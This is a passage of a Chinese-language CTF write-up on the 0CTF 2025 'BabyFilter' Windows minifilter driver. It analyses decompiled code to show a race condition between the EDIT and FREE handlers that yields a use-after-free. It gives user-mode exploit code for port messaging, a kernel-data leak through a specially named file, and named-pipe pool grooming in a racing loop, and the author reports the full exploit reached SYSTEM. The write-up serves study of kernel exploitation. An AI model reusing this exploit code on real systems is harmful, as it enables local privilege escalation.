      (PFLT_DISCONNECT_NOTIFY)DisconnectNotifyCallback,
      (PFLT_MESSAGE_NOTIFY)MessageNotifyCallback,
      64);
    started = FltStartFiltering(Filter);
    if ( started < 0 )
      FltUnregisterFilter(Filter);
    return started;
  }
  return result;
}

根据上述代码,可以知道程序注册了一个\\BabyFilterPort端口。并且我们使用FltSendMessage与之通信的时候,能够触发MessageNotifyCallback的逻辑。并且程序注册了一些过滤回调在Registration

MessageNotifyCallback

这个函数为主要的漏洞函数,其代码如下:

__int64 __fastcall MessageNotifyCallback(
        PVOID PortCookie,
        char *InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer)
{

  buffer_len = InputBufferLength;
  if ( !InputBuffer || InputBufferLength < 8 )
    return 3221225473LL;
  sub_140002100((char *)&input_header_flag_1, 0, 0x1008u);
  if ( buffer_len > 0x1008 )
    buffer_len = 0x1008;
  a__memcpy((char *)&input_header_flag_1, InputBuffer, buffer_len);
  size = input_header_size;
  v7 = buffer_len - 8;
  if ( input_header_size > v7 )
    size = v7;
  if ( input_header_flag_1 )
  {
    if ( input_header_flag_1 == 1 )
    {
      Buffer = gCTX.Buffer;
      size_1 = gCTX.Size;
      Flag = gCTX.Flag;
      if ( gCTX.Buffer )
      {
        if ( size > gCTX.Size )
          size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);
        gCTX.Size = size_1;
        gCTX.Flag = Flag;
        gCTX.Buffer = Buffer;
      }
    }
    else if ( input_header_flag_1 == 2 )
    {
      if ( gCTX.Buffer )
      {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0;
      }
    }
  }
  else if ( size )
  {
    _mm_lfence();
    Pool2 = (void *)ExAllocatePool2(67, size, 'ybaB');
    gCTX.Buffer = Pool2;
    gCTX.Size = size;
    if ( Pool2 )
      a__memcpy((char *)Pool2, newBuffer, size);
  }
  return 0;
}

可以看到,程序使用一个叫做gCTX的对象在内核中管理一个申请出来的内存,这个结构体大致如下:

struct GLOBAL_CTX
{
  UINT32 Size;
  UINT32 Flag;
  PVOID Buffer;
};

而我们传入的数据也会作为一个结构体处理,其结构为:

#define NEW_BLOCK 0
#define EDIT_BLOCK 1
#define FREE_BLOCK 2

typedef struct _gMSG {
    unsigned int opcode;   // v13
    unsigned int size;     // v14
    char     data[0x1000];
} gMSG;

根据分析,我们可以知道,opcode的值会决定我们当前处于申请,修改还是释放三种不同的状态。

于是这里我们可以写出这样的用户态代码,作为访问的接口

int CallFilterComm(unsigned int opcode, unsigned int size, unsigned char* buffer) {

    HRESULT hr;
    // printf("[+] Connected to BabyFilterPort\n");

    gMSG inbuf;

    inbuf.opcode = opcode;
    inbuf.size = size;
    memcpy(inbuf.data, buffer, size);

    BYTE outbuf[0x1000] = { 0 };
    DWORD bytesReturned = 0;

    // 3. MessageNotifyCallback
    hr = FilterSendMessage(
        g_hPort,
        &inbuf,
        sizeof(inbuf),
        outbuf,
        sizeof(outbuf),
        &bytesReturned
    );

    if (FAILED(hr)) {
        printf("[!] FilterSendMessage failed: 0x%08X\n", hr);
    }
    else {
        // printf("[+] FilterSendMessage success, bytesReturned = %lu\n", bytesReturned);
    }

    return 0;
}

漏洞点

很显然,这个全局对象就是一个突破点。当函数FltCreateCommunicationPort注册一个Minifilter的时候,它最后一个参数的含义为最大并发数 MaxConnections。意思也就是说,对于这个驱动而言,一次性最多能有几个客户端连入。在这个题目中,FltCreateCommunicationPort的MaxConnections=64,这就意味着,一次性最多可以有64个线程同时修改这个对象。于是我们这个程序就存在了条件竞争的可能。

我们关注这一部分代码:

if ( opcode == 1 ) // EDIT BLOCK
{
    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
    a__memcpy((char *)gCTX.Buffer, newBuffer, size);
    gCTX.Size = size_1;
    gCTX.Flag = Flag;
    gCTX.Buffer = Buffer;
    }
}
else if ( opcode == 2 ) // FREE BLOCK
{
    if ( gCTX.Buffer )
    {
    ExFreePoolWithTag(gCTX.Buffer, 0);
    gCTX.Buffer = 0;
    gCTX.Size = 0;
    }
}

假设这里有两个线程,1和2。当我们线程1进入EDIT BLOCK的逻辑,并且来到了这部分

    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);// 线程1在这里
        gCTX.Size = size_1;
        gCTX.Flag = Flag; 
        gCTX.Buffer = Buffer;
    }

此时线程2进入Free的逻辑,尝试进行Buffer的释放

    if ( gCTX.Buffer )
    {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0; 
    }// 线程2在这里

那么,当线程1重新开始运行的时候,它就会将一个【本来被线程2 释放后的内存,重新复制给gCTX.Buffer】,这就形成了一个完美的UAF。在这之后,EDIT操作就能够直接操作一个被释放的池空间。

过滤器处理逻辑

通过分析IDA中对应注册函数的逻辑:

.rdata:0000000140003220 ; const FLT_REGISTRATION Registration
.rdata:0000000140003220 Registration    dw 70h                  ; Size
.rdata:0000000140003220                                         ; DATA XREF: DriverEntry_enter+33↓o
.rdata:0000000140003222                 dw 203h                 ; Version
.rdata:0000000140003224                 dd 0                    ; Flags
.rdata:0000000140003228                 dq 0                    ; ContextRegistration
.rdata:0000000140003230                 dq offset stru_1400031C0; OperationRegistration    // 注意这里 
.rdata:0000000140003238                 dq offset sub_140006070 ; FilterUnloadCallback
.rdata:0000000140003240                 dq offset sub_140006000 ; InstanceSetupCallback
.rdata:0000000140003248                 dq offset sub_1400060A0 ; InstanceQueryTeardownCallback
.rdata:0000000140003250                 dq offset sub_140006030 ; InstanceTeardownStartCallback
.rdata:0000000140003258                 dq offset sub_140006050 ; InstanceTeardownCompleteCallback
.rdata:0000000140003260                 dq 0                    ; GenerateFileNameCallback
.rdata:0000000140003268                 dq 0                    ; NormalizeNameComponentCallback
.rdata:0000000140003270                 dq 0                    ; NormalizeContextCleanupCallback
.rdata:0000000140003278                 dq 0                    ; TransactionNotificationCallback
.rdata:0000000140003280                 dq 0                    ; NormalizeNameComponentExCallback
.rdata:0000000140003288                 align 10h

.rdata:00000001400031C0 stru_1400031C0  db 3                    ; MajorFunction(IRP_MJ_READ)
.rdata:00000001400031C0                                         ; DATA XREF: .rdata:Registration↓o
.rdata:00000001400031C1                 db 3 dup(0)
.rdata:00000001400031C4                 dd 0                    ; Flags
.rdata:00000001400031C8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031D0                 dq offset ReadPostCallback  ; PostOperation
.rdata:00000001400031D8                 dq 0                    ; Reserved1
.rdata:00000001400031E0                 db 4                    ; MajorFunction(IRP_MJ_WRITE)
.rdata:00000001400031E1                 db 3 dup(0)
.rdata:00000001400031E4                 dd 0                    ; Flags
.rdata:00000001400031E8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031F0                 dq offset ConnectNotifyCallback; PostOperation
.rdata:00000001400031F8                 dq 0                    ; Reserved1
.rdata:0000000140003200                 db 80h                  ; MajorFunction
.rdata:0000000140003201                 db 3 dup(0)
.rdata:0000000140003204                 dd 0                    ; Flags
.rdata:0000000140003208                 dq 0                    ; PreOperation
.rdata:0000000140003210                 dq 0                    ; PostOperation
.rdata:0000000140003218                 dq 0                    ; Reserved1            

可以看到,程序对IRP_MJ_READ|IRP_MJ_WRITE进行了注册,进一步分析之后,会发现其实只有读回调是有必要分析的。其中代码为:

__int64 __fastcall ReadPostCallback(PFLT_CALLBACK_DATA CallbackData)
{
  NTSTATUS Status; // eax
  char *v3; // rax
  PFLT_IO_PARAMETER_BLOCK Iopb; // r9
  struct _MDL *MdlAddress; // rcx
  char *Parameters; // r9
  char *buffer; // rdx
  signed int Size; // eax
  PFLT_FILE_NAME_INFORMATION FileNameInformation; // [rsp+20h] [rbp-148h] BYREF
  GLOBAL_CTX m_ctx; // [rsp+28h] [rbp-140h]
  char String[272]; // [rsp+40h] [rbp-128h] BYREF

  sub_140002100(String, 0, 0x104u);
  Status = CallbackData->IoStatus.Status;
  if ( Status >= 0 && Status != 260 && FltGetFileNameInformation(CallbackData, 0x101u, &FileNameInformation) >= 0 )
  {
    if ( FltParseFileNameInformation(FileNameInformation) >= 0 )
    {
      sub_1400015CC(&FileNameInformation->Name, String);
      v3 = strlwr(String);
      if ( strstr(v3, "_0ctf_2025.txt") )
      {
        _mm_lfence();
        Iopb = CallbackData->Iopb;
        MdlAddress = Iopb->Parameters.Read.MdlAddress;
        if ( MdlAddress )
          Parameters = (char *)((MdlAddress->MdlFlags & 5) != 0
                              ? MdlAddress->MappedSystemVa
                              : MmMapLockedPages(MdlAddress, 0));
        else
          Parameters = (char *)Iopb->Parameters.CreatePipe.Parameters;
        m_ctx = gCTX;
        buffer = (char *)_mm_srli_si128((__m128i)gCTX, 8).m128i_u64[0];
        if ( buffer )
        {
          _mm_lfence();
          Size = m_ctx.Size;
          if ( m_ctx.Size > CallbackData->Iopb->Parameters.Read.Length )
            Size = CallbackData->Iopb->Parameters.Read.Length;
          a__memcpy(Parameters, buffer, Size);
          CallbackData->IoStatus.Information = CallbackData->Iopb->Parameters.Read.Length;
        }
      }
    }
    FltReleaseFileNameInformation(FileNameInformation);
  }
  return 0;
}

根据逻辑我们可以知道,当我们的Read操作中,传入的文件名参数带有关键字符_0ctf_2025.txt的时候,程序会从全局对象gCTX+0x8的位置开始,取出指针,并且将那个指针中总共Size大小的数据传入到我们IRP中,相当于是作为了Read操作的返回数据。

用户态交互代码

根据这一步,我们可以在用户态写出这样的代码来进行内核数据的读取:

HANDLE CreateTempFile()
{
    char tempPath[MAX_PATH] = { 0 };
    char filePath[MAX_PATH] = { 0 };

    if (GetTempPathA(MAX_PATH, tempPath) == 0)
    {
        printf("get temp file path error !");
        return INVALID_HANDLE_VALUE;
    }

    snprintf(filePath, MAX_PATH, "%s%s", tempPath, strTargetPath);

    // printf("temp file path is %s\n", filePath);
    HANDLE hFile = CreateFileA(
        filePath,
        // GENERIC_ALL,
        GENERIC_READ | GENERIC_WRITE,
        // 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );

    return hFile;
}

int ReadDataFromGMSG(unsigned char* buf, size_t read_size) {
    HANDLE h;
    // char buf[0x1000] = { 0 };
    DWORD read;

    h = CreateTempFile();

    if (h == INVALID_HANDLE_VALUE) {
        printf("open failed\n");
        return 0;
    }

    const char marker = 'X';
    DWORD written;
    WriteFile(h, &marker, 1, &written, nullptr);

    SetFilePointer(h, 0, nullptr, FILE_BEGIN);

    BOOL rState = ReadFile(h, buf, read_size, &read, NULL);

    if (!rState)
    {
        printf("Read file error with %d\n", GetLastError());
        return -1;
    }

    CloseHandle(h);
    return 0;
}

注意,由于这里注册的是PostRead,所以我们首先需要保证Read的成功。这就意味着我们首先需要真的创建一个包含目标名字的文件。所以在代码中,我们首先在Temp目录下创建了同名文件,然后才会尝试读取。

触发PoC

结合我们之前提到的利用技巧,这里我们准备使用PIPE的攻击方法来完成攻击。所以我们期望发生的内存布局是这样的:

+----------+---------+---------+
|          |         |         |
|          |   UAF   |         |
|  PIPE    |  BLOCK  |  PIPE   |
|          |         |         |
|          |         |         |
|          |         |         |
+----------+---------+---------+

这样我们就能够获得一个可以被我们任意修改的PIEP,从而实现攻击原语。

这里我们建立两个线程,主线程用于反复的调用NEW/FREE操作,另一个线程进行条件竞争,不停的进行EDIT。此时在调用完之后,我们利用之前过滤器的泄露原语来确认我们当前的这个目标池内容是否真的被修改成了EDIT后的内容,以此来证明我们条件竞争的成功。具体来说:

首先,当我们线程1NEW一个BLOCK的时候,我们在BLOCK中填入大量的A

+------------+
| AAAAAAA    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

我们在EDIT线程2中,将其修改成C

+------------+
| CCCCCCC    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

如果我们在线程1的FREE操作后,读出来的BLOCK是成功被修改后的BLOCK(也就是内容为C),那么此时就能够证明我们利用的成功

int static FengshuiPipe()
{
    PIPE_HANDLES spare_pipe, subsegments_pipe, bcrypt_pipe;
    DWORD res;
    IO_STATUS_BLOCK isb;

    puts("Start fengshui");
    // char d = getchar();
    // 1. create lots of pips
    for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
        CreateMyPipe(&victim_pipes[i], 0x1000);
    }

    // 2. try to Free some pipe to create hole
    for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2)
    {
        CloseMyPipe(&victim_pipes[i]);
    }

    // 3. create empty block, the trigger uaf
    //CallFilterComm(NEW_BLOCK, 0x1000, 0x61);

    // 4. race condition to get 
    // prepare event
    g_EventStart = CreateEvent(NULL, FALSE, FALSE, NULL);
    g_EventEdit = CreateEvent(NULL, FALSE, FALSE, NULL);

    SetThreadAffinityMask(GetCurrentThread(), 1 << 0);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
    CreateThread(NULL, 0, edit_thread, &g_hPort, 0, NULL);
    // while (InterlockedCompareExchange(&g_race_done, 0, 0) == 0)
    while (TRUE)
    {
        // printf("create new block\n");
        // (1) create mesg
        //puts("start");
        //char c = getchar();
        unsigned char buf1[0x1000] = { 0x61 };
        memset(buf1, 0x61, sizeof(buf1));
        CallFilterComm(NEW_BLOCK, 0x1000, buf1);
        g_CanEdit = TRUE;

        // (2) race condition will try to free it
        // so here we try to replace it with new one 

        // SetEvent(g_EventStart);
        /// printf("free block\n");
        unsigned char buf2[0x1000] = { 0x62 };
        memset(buf2, 0x62, sizeof(buf2));

        CallFilterComm(FREE_BLOCK, 0x1000, buf2);

        // break;

        for (volatile int i = 0; i < 500; i++) { _mm_pause(); }

        g_CanEdit = FALSE;

        // (3) if race condition happen, we try to 
        // load data from gmsg, check if has been edited
        unsigned char buffer[0x1000] = { 0 };
        ReadDataFromGMSG(buffer, sizeof(buffer));
        // printf("%s\n", buffer);
        // break;
        if (buffer[0] == 0x63)
        {
            g_RaceDone = TRUE;
            // replace success ,stop race
            // if (InterlockedCompareExchange(&g_race_done, 1, NULL) == 0)
            // {
                printf("[+] race condition success!\n");
                ReleaseSemaphore(g_done_sam, 1, NULL);
            // }
            break;
        }
    }

利用部分

具体的利用脚本放在这里 总体思路就和之前提到的一样,利用PIPE的各类原语构造整个利用思路,并且合理进行风水后完成利用。

后记

其实比赛期间完全没有做出来这个题目,不知道这个利用手法在真正的题目中能不能做出来。上述代码经测试,在Windows 11 25H2上是能够获取System全新先的。所以可能有所问题,欢迎斧正。

在比赛结束后才发现,Windows提权还有其他的利用技巧,比如_WNF_STATE_DATA 相关这种办法。可能这些利用手法会更加简单,以后有空会进行相关整理。

参考文章

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master

标签: none

添加新评论